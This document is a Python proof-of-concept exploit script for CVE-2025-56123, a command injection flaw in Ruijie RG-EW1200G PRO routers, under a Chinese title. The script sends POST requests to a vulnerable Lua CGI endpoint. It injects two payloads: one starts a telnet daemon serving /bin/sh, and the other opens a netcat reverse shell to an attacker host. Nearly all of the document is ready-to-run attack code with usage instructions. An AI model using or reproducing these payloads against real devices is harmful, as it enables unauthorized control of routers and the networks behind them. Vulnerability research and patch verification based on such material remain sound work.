CVE-2025-56123 锐捷RG-EW1200G PRO路由器命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-56123 PoC - Ruijie RG-EW1200G PRO OS Command Injection Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-56123 """ import requests import sys def exploit(target_ip, target_port=80, attacker_ip="ATTACKER_IP", attacker_port=4444): """ Exploit the command injection vulnerability in Ruijie RG-EW1200G PRO Args: target_ip: Target router IP address target_port: Target router web port (default: 80) attacker_ip: Attacker IP for reverse shell attacker_port: Attacker port for reverse shell """ # Target URL for the vulnerable endpoint url = f"http://{target_ip}:{target_port}/cgi-bin/dev_sta/networkConnect.lua" # Payload to inject OS command - starts telnet service # The vulnerability is in the module_get function in networkConnect.lua # User input is directly concatenated into system commands without sanitization # Example payloads: # 1. Start telnet service # 2. Reverse shell connection # 3. Execute arbitrary commands # Payload 1: Enable telnet telnet_payload = ";telnetd -l /bin/sh &" # Payload 2: Reverse shell reverse_shell_payload = f";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f &" # Construct the malicious POST request # The vulnerable parameter in module_get function data = { "module": "get", "param": telnet_payload # Inject malicious command } print(f"[*] Targeting: {url}") print(f"[*] Injecting payload: {telnet_payload}") try: # Send the malicious POST request response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent - Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)} bytes") # Payload 2: Reverse shell print(f"\n[*] Attempting reverse shell to {attacker_ip}:{attacker_port}") data["param"] = reverse_shell_payload response = requests.post(url, data=data, timeout=10) print(f"[+] Reverse shell payload sent") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-56123.py <target_ip> [port] [attacker_ip] [attacker_port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 attacker_ip = sys.argv[3] if len(sys.argv) > 3 else "ATTACKER_IP" attacker_port = sys.argv[4] if len(sys.argv) > 4 else "4444" exploit(target, port, attacker_ip, attacker_port)